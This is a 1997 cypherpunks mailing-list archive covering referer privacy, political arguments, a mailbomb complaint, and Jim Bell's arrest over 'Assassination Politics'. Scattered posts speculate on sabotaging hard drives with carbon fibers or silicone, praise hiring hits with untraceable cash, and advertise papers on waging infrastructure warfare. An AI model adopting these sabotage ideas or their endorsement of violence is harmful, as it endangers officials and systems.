the infrastructure a good thrashing):

Waging IWAR (1997)
>From the Introduction:
"So as not to alarm the reader, let me advise you that this paper is
intended as an informal presentation of the material, very much in the
spirit of 'let us conspire!' What has been sorely lacking in
treatments of the infrastructural warfare (IWAR) subject matter has
been a practical, personal approach of thinking about, planning, and
waging IWAR operations. Given the nature of most of the professionals
acting as documentarists, the published materials are strong on theory
and speculation, and short on practical guidelines. I shall attempt to
begin to fill that gap, and I hope the reader will accept a temporary
'partnership in crime' as we work through the problems facing an
opposition force (OpFor) together.

This paper is be broken into four sections:
-Definitions, assumptions, and theory; the conceptual basis of
IWAR is important to review;
-Exploration of OpFor as a practical matter;
-A set of IWAR potential operations, for which I have chosen a
variety of examples;
-Defense-In-Depth, battling IWAR."

Infrastructural Warfare Threat Model (1997)
Abstract:
A threat model is essential to proving the validity of the threat
posed by infrastructural and information warfare (I2WAR); exploration
of the scope/activities of the threat are essential to understanding
the threat and mounting a defense against it. An opposition force' is
postulated and explored for its intent, organization, communications,
recruiting, armament, intelligence gathering and analysis, and
funding. A methodology for defining the infrastructure and
dependencies is proposed. I2WAR is defined as conflict oriented around
denial of service attacks on physical infrastructure elements
(including targets such as communications, public utilities, financial
organizations, transportation mechanisms, public facilities/events,
emergency management services, commerce, and government), denial of
service attacks on virtual' infrastructure elements (information
warfare), psychological warfare operations (attacks on decision
processes), and technologically augmented political warfare
(agitation, subversion, rioting; propaganda). Conclusions are drawn,
including suggestions for a defense-in-depth.

Battle for the Soul of Information Warfare: Pearl Harbor vs. the
Hashishim (1997)
Abstract:
Infowar has at least two distinct camps, each operating with different
basic assumptions on the threat. As these assumptions are critical to
threat modeling and defense strategies, comparing the differences is
essential. The assumptions of the Pearl Harbor' mass denial-of-service
infowar attack are contrasted with those of the Hashishim,' subtle
efforts of perversion; the historical case is presented to demonstrate
the reasoning regarding the labels. Contrasted are assumptions
regarding opposition force approach, intent, focus, targets, scale of
attack, resources of opposition force, management, command and
control, organization, funding, intelligence, defensive focus, and
political view of the problem.

Considering the Net as an Intelligence Tool (1996)
An exploration of the fitness of the net for intelligence gathering
and operational support; this is usually an assumption made by many of
the theorists on the subject, but I thought a detailed explanation
worth engaging in.

Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 19 May 1997 07:55:22 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: referers and W3 (fwd)
In-Reply-To: <Pine.GUL.3.95.970512081613.25461B-100000@Networking.Stanford.EDU>
Message-ID: <337F9366.167E@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> 
> A friend who webmasters a large site that is implementing
> referer-specific content sent me this when I mentioned the
> cpunks/cryptography thread of a few months back. I basically agree
> with the W3C. While user education on the potential privacy threat is
> essential, I do not believe that Netscape should violate published
> technical standards. There are also privacy and property issues from
> the server's perspective.

Just in case someone hasn't heard about this yet, we support a stealth
preference in 4.0 to turn of referer headers.  If you wish to disable
referer, you can place the following line in your prefs.js file:

pref("network.sendRefererHeader", false);

There is no UI checkbox for this preference because it was added after
we froze the UI.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 19 May 1997 08:26:31 +0800
To: cypherpunks@toad.com
Subject: Re: referers and W3 (fwd)
In-Reply-To: <337F9366.167E@netscape.com>
Message-ID: <Pine.GUL.3.95.970518170904.13290C-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I'm aware of that. I don't think it's a good idea. If you don't agree
with the standard, work within the W3C to change it. Especially if it's an
undocumented cypherpunk-only feature, that bugs me.

-rich

On Sun, 18 May 1997, Tom Weinstein wrote:

> Rich Graves wrote:
> > 
> > A friend who webmasters a large site that is implementing
> > referer-specific content sent me this when I mentioned the
> > cpunks/cryptography thread of a few months back. I basically agree
> > with the W3C. While user education on the potential privacy threat is
> > essential, I do not believe that Netscape should violate published
> > technical standards. There are also privacy and property issues from
> > the server's perspective.
> 
> Just in case someone hasn't heard about this yet, we support a stealth
> preference in 4.0 to turn of referer headers.  If you wish to disable
> referer, you can place the following line in your prefs.js file:
> 
> pref("network.sendRefererHeader", false);
> 
> There is no UI checkbox for this preference because it was added after
> we froze the UI.
> 
> -- 
> You should only break rules of style if you can    | Tom Weinstein
> coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 08:37:50 +0800
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: <v03007802afa54d564265@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
>
>
>[New Age Snip]
>
>>I believe this was a major quantum leap in the history of  human  thought
>>and concioussness. A giant step in the right direction of our  true
>>divinity but it was sorely flawed; By the concept of property  rights.
>>This is where the founding fathers eogos got in the way.
>
>>The liberation movements of the last century have been based on the  same
>>concept of unalienable rights and have attempted to fine tune  the
>>document for  a more equitable distribution of planet power to  correct
>>the flaw.
>
><sigh> There is a fundamental fact of politics/economics that a socialist
>economy and a democratic political structure can not co-exsist.
>
>The concept of property rights is not a flaw but the foundation on which
>the constitution and this country is built on. Without the ability to
>controll ones own property all other rights fall by the wayside.
>
>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>understanding of Capitalism and why it is the *only* economic model that
>works for a free society.
>

Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
of a planned economy and how the loss of property ownership and economic
freedom leads directly and inevitably to totalitarianism.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 07:27:08 +0800
To: cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: <199705182306.SAA18618@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
   nobody@huge.cajones.com (Huge Cajones Remailer) said:


[New Age Snip]

>I believe this was a major quantum leap in the history of  human  thought
>and concioussness. A giant step in the right direction of our  true
>divinity but it was sorely flawed; By the concept of property  rights.
>This is where the founding fathers eogos got in the way. 

>The liberation movements of the last century have been based on the  same
>concept of unalienable rights and have attempted to fine tune  the
>document for  a more equitable distribution of planet power to  correct
>the flaw.

<sigh> There is a fundamental fact of politics/economics that a socialist
economy and a democratic political structure can not co-exsist.

The concept of property rights is not a flaw but the foundation on which
the constitution and this country is built on. Without the ability to
controll ones own property all other rights fall by the wayside.

I sugest reading "The Wealth of Nations" by Adam Smith for a better
understanding of Capitalism and why it is the *only* economic model that
works for a free society.


[More New Age Sniped]

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you spell relief? OS/2!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM3+Z4I9Co1n+aLhhAQEsIwQAyYw2xh1jCmSaonXiwmY1FWNQ4DhW8/nt
oH+O1wT8537lnxZG23bYybozYl03cEWkhyGGu0dDEF1QSPyZ5SKiBr5RbUuTBHiO
LXitz0wz1SlNvS7lah0aoIRzSKThsUdKu8F1mlMtFvyRrCTWt0kYGi+wB1JF3zSe
rhe+HAZKi1w=
=YlzZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 19 May 1997 09:22:13 +0800
To: hal@rain.org
Subject: Re: referers and W3 (fwd)
In-Reply-To: <199705182021.NAA04042@crypt.hfinney.com>
Message-ID: <199705190108.SAA12788@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney writes:
 
 
> I use Eric Murray's fine "cookie jar" privacy program when I am web
> browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).

Note that it'll work with a non-UNIX browser just fine.  You do need to
have access to a Unix host to run the cookie jar program itself, but you
can tell your Windoze browser to use cookie jar as a proxy.... I run my Mac's
browser through it.

> It blocks cookies and advertisements via a very flexible config file
> mechanism.  It also eliminates other privacy-revealing outgoing data,
> including Referer, and could be easily modified to play all kinds of
> games with Referer for the adventurous.

Sounds like an idea to go along with the User-Agent spoofing I added recently.

What would make sense to use, other than sending
"http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
How about sending the current URL as Referrer?



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 10:36:20 +0800
To: Steve Schear <azur@netcom.com>
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <v03007809afa575b7ce29@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(I was locked out of getting my mail tonight for more than an hour, when a
member of the Cypherpunks list _mailed_ me a several-megabyte file without
asking first. As I explain in my message to Steve Schear, I have no way of
removing such "mail bombs" with my Eudora/POP system until they have been
downloaded to my machine (I don't have a shell account anymore). I suppose
by admitting this I am opening myself to being mailbombed by Dmitri V.,
Vladimir N, and my other Russian (or ersatz Russian) enemies.)

At 10:47 AM -0800 5/18/97, Steve Schear wrote:
>>I'll have to get it off the Iraqi or Syrian sites.
>
>Saddam doesn't want yanquis to think he is heartless.  Consider this a
>humanitarian gesture from the good people of Iraq.
>
>Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
>(0001153F)
>
>PGP mail preferred

!!!!!!!!!!!!!!!!

Your little "gesture" shut my system down through repeated attempts to
download it. It would load a bit, fail, then have to start over. It took me
more than an hour to get a complete download, at which point I could
finally delete that 4 MB file.

(I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
a load, except to call my sysadmin during business hours and ask him to
delete the message.)

THANKS FOR FUCKING NOTHING.

Never, ever, ever send me a large file without asking first!!!!!!!!!!!

Disgusted,

--TCM





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 08:54:25 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <v03007802afa54d564265@[10.0.2.15]>
Message-ID: <199705190036.TAA19421@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007802afa54d564265@[10.0.2.15]>, on 05/18/97 at 06:25 PM,
   Steve Schear <azur@netcom.com> said:


>At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>
>>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
>>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
>>
>>
>>[New Age Snip]
>>
>>>I believe this was a major quantum leap in the history of  human  thought
>>>and concioussness. A giant step in the right direction of our  true
>>>divinity but it was sorely flawed; By the concept of property  rights.
>>>This is where the founding fathers eogos got in the way.
>>
>>>The liberation movements of the last century have been based on the  same
>>>concept of unalienable rights and have attempted to fine tune  the
>>>document for  a more equitable distribution of planet power to  correct
>>>the flaw.
>>
>><sigh> There is a fundamental fact of politics/economics that a socialist
>>economy and a democratic political structure can not co-exsist.
>>
>>The concept of property rights is not a flaw but the foundation on which
>>the constitution and this country is built on. Without the ability to
>>controll ones own property all other rights fall by the wayside.
>>
>>I sugest reading "The Wealth of Nations" by Adam Smith for a better
>>understanding of Capitalism and why it is the *only* economic model that
>>works for a free society.
>>

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.

Yes, very good read. Have you read any of his other works?

I thought that Smith was a good start as it was his economic philosophy
that guided our founding fathers.

I find it rather depressing that too few people understand the
relationships between economics & politics and how they affect the freedom
of the individule. 

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Double your drive space! Delete Windows!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 11:07:34 +0800
To: cypherpunks@algebra.com
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

- From the Oregonian Sunday edition May 18, 1997 page D-10:

IRS agents arrest Vancouver man who called for killing federal workers

* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces 
charges of interfering with a U.S. officer

By John Painter Jr.
of the Oregonian staff

VANCOUVER - A Vancouver man who has written about assassination of government 
officials and whose home was raided in April has been arrested by IRS agents 
on charges of interfering with a federal officer.

James D. Bell was held without bail in the Clark County jail.  On Monday, the 
IRS will transport him to U.S. District Court in Tacoma for his first 
appearance.  He was arrested without incident Friday evening while waiting
for 
a bus after work.

IRS agents could not be reached for comment, and the complaint underlying the 
criminal charge was sealed and unavailable.  The Clark County Jail confirmed 
that Bell was a prisoner there, held on a federal detainer.

A friend of Bell's, Robert W. East, said Bell phoned him from jail and told 
him he was arrested for interfering with a federal officer.

The affidavit for the April search warrant accused Bell of "directly 
soliciting others to set up a system to murder government officials" and 
"obtaining the home address of an IRS employee, as well as information about 
bombs and bomb-making materials."

Bell is the admitted author of a 10-part essay called "Assassination 
Politics," which has been circulated widely on the Internet, particularly in 
anti-government forums.  "Assassination Politics" discusses creation of an 
organization to reward those killing public officials while protecting 
assassins' identities.

IRS agents searched East's home in Vancouver on Thursday.  East said he was 
questioned for about 90 minutes, during which time agents asked him about a 
"stink-bomb attack" on an IRS office in San Diego or Long Beach, Calif.,
and a 
"propane bomb" found at another IRS office.  In that search agents found a 3-
foot carbon fiber that East said he got from Bell for an electrolysis 
experiment.

Federal agents since have focused on a Bell theory that carbon fibers could
be 
used to sabotage computer hard drives, thus disabling them.  East confirmed 
Bell's interest in using carbon fibers as a "computer killer" but dismissed
it 
as a "goofball idea."

The search warrant for East's home shows that the government also is 
interested in determining whether Bell and others have experimented with 
volatile chemicals in preparation for attacks on IRS offices and agents.

The search warrant for Bell's home shows that agents were searching for 
evidence of "threats, assaults, obstruction, intimidation, solicitation of 
murder, false statements, and the unlawful use of false social security 
numbers."

Jeff Gordon, a Portland-based IRS special investigator, said he discovered 
"Assassination Politics" among items seized when IRS agents took Bell's 1986 
Honda for unpaid back taxes in February.  Bell denied the car was his.  An
IRS 
tally of the items inside the car included a document about a "trial" by the 
Multnomah County Common Law Court in January of several IRS agents, a federal 
magistrate in Portland, U.S. Attorney General Janet Reno and an IRS 
commissioner, Margaret Richardson.

- ---


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 11:14:44 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: PGP 5.0 beta problem
Message-ID: <3.0.32.19970518154517.00761aec@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:55 PM 5/18/97 -0700, Steve Schear wrote:
>Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
>PGPMenus extension is installed any attempt to open an encrypted volume
>generates a "Not enough memory to mount disk" message.  I ahve pleanty of
>RAM abd suspect a lack of System memory (e.g., stack space).

Seems PGP 5.0 still has some major problems. I can't even get the installer
to work on Win95. It complains about a lack of disk space. I have >1GB free.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 19 May 1997 11:37:19 +0800
To: cypherpunks@algebra.com
Subject: Re: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <19970518202227.05654@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 09:56:16AM -0800, Tim May wrote:
[...]
> No, what I find so irksome about Kent is his obdurate unwillingness to
> bother to learn whereof he speaks:

[.points of varying levels of bogosity deleted.]

> And so on.
> 
> I've taken to sometimes responding to him, but usually not. Nothing
> delights me more than seeing some long rambling criticism of us, and our
> work, and then deleting it.

You really need to get a life, Tim.

> Kent is just one of several folks who've discovered this list, share none
> of its core values, and seeks to disrupt it with innuendos, spam, insults,
> and disinformation.

<serious>
This is all false.  The relationship between my values and the values
of this list are very complex, but clearly there is some overlap.  And
disrupting this list is simply not a goal of mine -- it's very 
entertaining, and a fine collecting ground...
</serious>

> Kent, please go away.

What, and deprive you of all the above mentioned delight? 

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.

Are you referring to the lack of effective enforcement?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 19 May 1997 02:48:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A wee bit of Civil Disobedience
In-Reply-To: <199705171954.MAA17404@fat.doobie.com>
Message-ID: <199705181833.UAA12509@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) wrote:

> Want to add a bit of mass civil disobedience to the Crypto movement?
>
> Get alt.binaries.crypto created as a usenet news group.
>
> Why has this not happened already?  This will make an even bigger mockery
> of the ITARs, the EARs, and the other silly regs throughout the world.


Someone newgrouped alt.binaries.warez.crypto a year or two ago.  It never got
any traffic, other than from a few spammers.

OTOH if someone could create something like comp.sources.cryptology, it might
get better reception.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 11:56:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <199705190341.UAA17427@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen <alan@ctrl-alt-del.com> writes:

 > IRS agents arrest Vancouver man who called for killing
 > federal workers

As I recall, Bell never called for anyone to be killed. He merely
suggested that the construction of anonymous wagering pools would
faciliate a market in the disposal of tyrants.

 > Federal agents since have focused on a Bell theory that
 > carbon fibers could be used to sabotage computer hard
 > drives, thus disabling them.  East confirmed Bell's interest
 > in using carbon fibers as a "computer killer" but dismissed
 > it as a "goofball idea."

I thought microscopic amounts of airborne silicone were the
preferred method of causing large numbers of drives to
mysteriously fail.

I can't imagine how one would get the carbon fiber into the
interior of the drive.

 > The search warrant for East's home shows that the
 > government also is interested in determining whether Bell
 > and others have experimented with volatile chemicals in
 > preparation for attacks on IRS offices and agents.

The government is only lending credibility to Bell's paranoia by
behaving like jackbooted thugs.

Is this federal agent Bell is supposed to have interfered with
one of the agents who arrested him?  Sounds like fabrication from
whole cloth to me.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 12:18:46 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <v0300780aafa58a56a692@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
the foreseeable future. A gathering of anarchists, crypto exporters, and
information terrorists like ourselves is too tempting a target for a
publicized raid, with cameras rolling, to show the threat of the Four
Horsemen of the Infocalypse. I for one don't plan to attend any physical
meetings for a while at least. Going armed to a Cypherpunks meeting in
preparation for a raid is not a cool thing.)


At 6:55 PM -0800 5/18/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>- From the Oregonian Sunday edition May 18, 1997 page D-10:

(As an interesting aside, interesting to me, I recall May 18th as being the
anniversary of the Mount St. Helens detonation, back in 1980. I was living
in Hillsboro, Oregon back then, just west of Portland. I didn't hear the
detonation, but I saw the massively thick black column of ash/smoke going
up into the clouds. And I witnessed some of the later eruptions on clearer
days. And my yard was covered with about 2 inches of ash, some of which I
took in to my lab to measure for radioactivity levels.)

>IRS agents arrest Vancouver man who called for killing federal workers
>
>* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces
>charges of interfering with a U.S. officer
>
>By John Painter Jr.
>of the Oregonian staff
>
>VANCOUVER - A Vancouver man who has written about assassination of government
>officials and whose home was raided in April has been arrested by IRS agents
>on charges of interfering with a federal officer.

(much elided)

I was initially "unsurprised" by the search of Jim's house. Not necessarily
because I thought his AP writings warranted a search, but because the
(putative) list of local IRS agents, combined with their initial reactions
to his admittedly controversial writings might lead these and other IRS to
reasonably fear that they were somehow being targetted for assassination.

However, I'm quite surprised things have progressed to the point of an
arrest. Unless Jim was "much further along" in developing AP than any of us
have given him credit for, especially given the gaps in things like digital
money for the actual AP system to ever work!, I think a prosecution will
fail.

I don't know any of the facts about any physical attacks being
contemplated, such as the "stink bombs" (!) mentioned later in the article,
etc. What I know is that these attacks, even if hypothesized, have nothing
directly, legally to do with the AP essay. (Yes, I know that writings can
go to motive, state of mind, etc. I just don't think theoretical essays
about AP have much to do with claims of stink bombs sent to IRS offices.)


>Federal agents since have focused on a Bell theory that carbon fibers could
>be
>used to sabotage computer hard drives, thus disabling them.  East confirmed
>Bell's interest in using carbon fibers as a "computer killer" but dismissed
>it
>as a "goofball idea."

Indeed, one of Jim's many goofball ideas floated on the Cypherpunks list
and, presumably, elsewhere. So? In our discussions of TEMPEST, sabotage of
computers in general, etc., there have been many such goofball ideas.

(Some "INFOWAR" pro-government propagandists/researchers have even
collected tidy research grants for studying things like HERF guns and
conductive fiber atacks on computers. If Bell is implicated because of an
interest in using conductive fibers to short out computers and disk drives,
might as well jail all those doing work on just such things. Or does the
government only allow such work, and such speculation, if DARPA and DIA are
paying the bills? Wouldn't surprise me in the least.)


>Jeff Gordon, a Portland-based IRS special investigator, said he discovered
>"Assassination Politics" among items seized when IRS agents took Bell's 1986
>Honda for unpaid back taxes in February.  Bell denied the car was his.  An
>IRS
>tally of the items inside the car included a document about a "trial" by the
>Multnomah County Common Law Court in January of several IRS agents, a federal
>magistrate in Portland, U.S. Attorney General Janet Reno and an IRS
>commissioner, Margaret Richardson.

The fascists are running scared.

Lock and load.

(Also, I suggest _physical_ Cypherpunks meetings not be held for the
foreseeable future. I know I plan to skip them all. A gathering of "reputed
information terrorists, who have openly discussed assassination markets, C4
explosives, and the destabilization of democratic governments" would be too
ripe a target for clowns like Reno, Freeh, and Kallstrom.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 12:26:38 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 5/18/97 -0700, Mike Duvos wrote:
>Alan Olsen <alan@ctrl-alt-del.com> writes:

Actually I was quoting from the Oregonian, the local fishwrap.

> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Some of his statements could have been taken as advocating the killing of 
federal employees of various sorts.  The question is whether he actually
tried 
to arrange it in real life.  (Which I doubt.)

> > Federal agents since have focused on a Bell theory that
> > carbon fibers could be used to sabotage computer hard
> > drives, thus disabling them.  East confirmed Bell's interest
> > in using carbon fibers as a "computer killer" but dismissed
> > it as a "goofball idea."
>
>I thought microscopic amounts of airborne silicone were the
>preferred method of causing large numbers of drives to
>mysteriously fail.

I found that part quite interesting.  I remember Jim going off about this 
(without refering to any specific method) at the first Portland Cypherpunk 
meeting.  He got pretty pissed when I mentioned it on the list.  (As well as 
my post that I thought he was a loon.)  Interesting to see that there is an 
actual method mentioned.  (And that his friend also thought it was kind of 
nutty...)

>I can't imagine how one would get the carbon fiber into the
>interior of the drive.

Neither can I.  Maybe it was supposed to short out the electronics.  Imagine 
what that would do to your lungs!  Youch!

> > The search warrant for East's home shows that the
> > government also is interested in determining whether Bell
> > and others have experimented with volatile chemicals in
> > preparation for attacks on IRS offices and agents.
>
>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

It is interesting that they have kept the warrent sealed.  This, more than 
anything makes me question the legitamacy of the whole affair.  Sounds like 
the IRS is planning a preemptive strike on the Common Law Courts and the 
people behind them.

>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.

That is not explained.  I think it was an excuse to arrest him without having 
to reveal the real reasons.  Be interesting to see what they accuse him of 
later...

The IRS seems to have overstepped a little in this case...  The sealed 
warrents are an attempt to keep it from being examined in more detail.

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 12:42:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <v0300780bafa590c729d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:41 PM -0800 5/18/97, Mike Duvos wrote:
>Alan Olsen <alan@ctrl-alt-del.com> writes:
>
> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Exactly. I thought it was a mildly interesting idea, but much less
practical than using untraceable digital cash directly to hire hits. (And I
don't expect to be raided for this observation, by the way. Such
